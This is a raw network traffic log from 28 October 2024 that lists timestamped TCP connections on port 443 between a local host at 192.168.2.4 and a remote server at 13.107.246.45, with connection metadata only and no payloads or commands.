Oct 28, 2024 08:18:27.926306963 CET	49900	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.926332951 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.940761089 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.941345930 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.941365004 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.941766024 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.941771984 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.973671913 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.973705053 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.973742962 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.973886013 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.973901033 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.973913908 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.974004984 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.974016905 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.974042892 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.974052906 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.974070072 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.974081993 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.974157095 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.974162102 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.974668980 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.974688053 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.974698067 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.974704981 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.976481915 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.976512909 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.976576090 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.976720095 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.976737022 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.976753950 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.976794958 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.976859093 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.976950884 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.976969957 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.071074009 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.071293116 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.071346045 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.071358919 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.071399927 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.072248936 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.072264910 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.072279930 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.072285891 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.080873966 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.080899954 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.080957890 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.081383944 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.081398964 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.541444063 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.544493914 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.544524908 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.544970036 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.544975042 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.671957016 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.672120094 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.672220945 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.673253059 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.678464890 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.678487062 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.678498983 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.678504944 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.697664976 CET	49900	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.697750092 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.704787970 CET	49900	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.704807043 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.728102922 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.734188080 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.735168934 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.735191107 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.742122889 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.742136002 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.777920008 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.813661098 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.819201946 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.819245100 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.819328070 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.826808929 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.826826096 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.827230930 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.827236891 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.828289986 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.828298092 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.828687906 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.828694105 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.828875065 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.828895092 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.837717056 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.837913036 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.838028908 CET	49900	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.870351076 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.870438099 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.870552063 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.870595932 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.870650053 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.872915030 CET	49900	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.872915030 CET	49900	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.872957945 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.872986078 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.914607048 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.914644003 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.914688110 CET	49902	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.914699078 CET	443	49902	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.918350935 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.918375015 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.918452978 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.918718100 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.918731928 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.919692039 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.919723034 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.919900894 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.919995070 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.920006990 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.956322908 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.956393957 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.956485033 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.964909077 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.965056896 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.965142965 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.968096018 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.968096018 CET	49903	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.968113899 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.968126059 CET	443	49903	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.969105005 CET	49901	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.969109058 CET	443	49901	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.973023891 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.973036051 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.973097086 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.973524094 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.973531961 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.974359989 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.974386930 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:28.974591970 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.974689007 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:28.974699974 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.567038059 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.567461967 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.567486048 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.567898989 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.567903996 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.639724016 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.640177965 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.640198946 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.640604019 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.640609026 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.658099890 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.658371925 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.658384085 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.658643007 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.658648014 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.697825909 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.697896004 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.697961092 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.697978020 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.698012114 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.698054075 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.698252916 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.698266983 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.698277950 CET	49904	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.698282003 CET	443	49904	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.701185942 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.701278925 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.701386929 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.701545954 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.701582909 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.722481012 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.722887993 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.722907066 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.723297119 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.723303080 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.723891973 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.724138975 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.724157095 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.724457026 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.724461079 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.767961979 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.768213987 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.768285990 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.768347025 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.768387079 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.768414974 CET	49906	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.768429995 CET	443	49906	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.770620108 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.770649910 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.770714998 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.770824909 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.770837069 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.790328026 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.790471077 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.790533066 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.790559053 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.790575981 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.790585995 CET	49905	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.790591002 CET	443	49905	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.792484045 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.792519093 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.792599916 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.792728901 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.792753935 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.852195024 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.852257967 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.852313042 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.852334023 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.852404118 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.852449894 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.852521896 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.852535963 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.852546930 CET	49908	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.852552891 CET	443	49908	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.855096102 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.855184078 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.855285883 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.855432987 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.855469942 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.873675108 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.873745918 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.873805046 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.873904943 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.873912096 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.873922110 CET	49907	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.873928070 CET	443	49907	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.876033068 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.876061916 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:29.876137972 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.876416922 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:29.876435041 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.438617945 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.441755056 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.441813946 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.442209005 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.442223072 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.505855083 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.509499073 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.509524107 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.509928942 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.509934902 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.542083025 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.542593956 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.542656898 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.543035984 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.543050051 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.570766926 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.570960999 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.571109056 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.571363926 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.571403980 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.571429968 CET	49909	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.571445942 CET	443	49909	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.574686050 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.574774027 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.574985027 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.575151920 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.575181961 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.593449116 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.593884945 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.593904018 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.594311953 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.594322920 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.612114906 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.612391949 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.612416983 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.612714052 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.612720013 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.639540911 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.639611006 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.639730930 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.639751911 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.639775038 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.639964104 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.639992952 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.640007019 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.640007019 CET	49910	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.640017986 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.640026093 CET	443	49910	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.642503023 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.642543077 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.642628908 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.642805099 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.642818928 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.676426888 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.676573038 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.676668882 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.676776886 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.676826000 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.676856995 CET	49911	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.676872969 CET	443	49911	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.679205894 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.679245949 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.679318905 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.679435968 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.679445982 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.723145962 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.723225117 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.723330975 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.723514080 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.723548889 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.723575115 CET	49912	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.723592997 CET	443	49912	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.726296902 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.726382971 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.726603985 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.726754904 CET	49917	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.726789951 CET	443	49917	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.744805098 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.744968891 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.745033979 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.745058060 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.745078087 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.745091915 CET	49913	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.745099068 CET	443	49913	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.747296095 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.747338057 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:30.747421026 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.747559071 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:30.747575045 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.327593088 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.371656895 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.374305010 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.374331951 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.382060051 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.382077932 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.417665005 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.419725895 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.459389925 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.459414959 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.465404034 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.466800928 CET	49915	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.466808081 CET	443	49915	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.467072010 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.467091084 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.474247932 CET	49916	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.474267960 CET	443	49916	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.499587059 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.510750055 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.510936022 CET	443	49914	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.511001110 CET	49914	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.545790911 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.550868034 CET	49918	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:31.550879002 CET	443	49918	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:31.552951097 CET	49918	443	192.168.2.4	13.107.246.45
